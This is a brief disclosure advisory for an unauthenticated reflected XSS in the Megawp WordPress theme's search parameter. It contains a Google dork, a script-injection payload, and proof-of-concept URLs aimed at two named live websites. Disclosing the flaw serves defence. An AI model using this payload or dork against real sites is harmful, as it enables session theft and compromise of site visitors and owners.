- # VULNERABILITY: Megawp WordPress Theme - Unauthenticated Reflected XSS - # GOOGLE DORK: Megawp-Theme - # DATE: 2021-02-10 - # SECURITY RESEARCHER: EbRaHiM-VaKeR [ https://ebrahim-ghiasi.ir ] - # VENDOR: Megawp-Theme [ http://megawp.almastheme.com/megawp-demos/ ] - # SOFTWARE VERSION: <= 1 - # SOFTWARE LINK: https://www.zhaket.com/web/megawp-wordpress-theme - # CVE: N/A */ ### -- [ Info: ] [i] An Unauthenticated Reflected XSS vulnerability was discovered in the Megawp-Theme for WordPress. [i] Vulnerable parameter(s): ?s= ### -- [ Impact: ] [~] code injections, the ability to combine attack vectors against the targeted system, which can lead to a complete compromise of the resource. ### -- [ Payload: ] [$] ?s="><script>alert(`hacked`)</script> ### -- [ PoC | Unauthenticated Reflected XSS | Search query: ] [!] https://lms.golvani.ir/?s=%22%3E%3Cscript%3Ealert(`hacked`)%3C/script%3E [!] https://baameshimi.ir/?s=%22%3E%3Cscript%3Ealert(`hacked`)%3C/script%3E ### -- [ Contacts: ] [+] Website: ebrahim-ghiasi.ir [+] Telegram: @hajit00n